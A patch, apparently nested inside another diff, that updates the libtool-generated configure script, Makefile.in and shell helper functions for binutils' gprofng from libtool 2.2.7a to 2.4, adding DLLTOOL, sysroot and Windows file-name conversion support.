+ file_list_spec=$lt_file_list_spec
+
+@@ -16100,210 +16800,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/gprofng/Makefile.in b/gprofng/Makefile.in
+index dbc868191b7..1ca6dd01f58 100644
+--- a/gprofng/Makefile.in
++++ b/gprofng/Makefile.in
+@@ -253,6 +253,7 @@ CXXFLAGS = @CXXFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -289,6 +290,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+diff --git a/gprofng/configure b/gprofng/configure
+index bdfa2281f2c..b6376eb3f77 100755
+--- a/gprofng/configure
++++ b/gprofng/configure
+@@ -671,6 +671,8 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -801,6 +803,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_werror_always
+ enable_gprofng_tools
+@@ -1464,6 +1467,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-jdk=PATH specify prefix directory for installed JDK.
+ --with-system-zlib use installed libz
+
+@@ -6152,8 +6157,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -6193,7 +6198,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6886,8 +6891,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6936,6 +6941,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6952,6 +7031,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -7120,7 +7204,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -7279,6 +7364,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -7294,6 +7394,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -7308,8 +7559,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -7325,7 +7578,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -7345,11 +7598,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -7365,7 +7622,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -7384,6 +7641,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -7395,25 +7656,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -7425,6 +7680,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
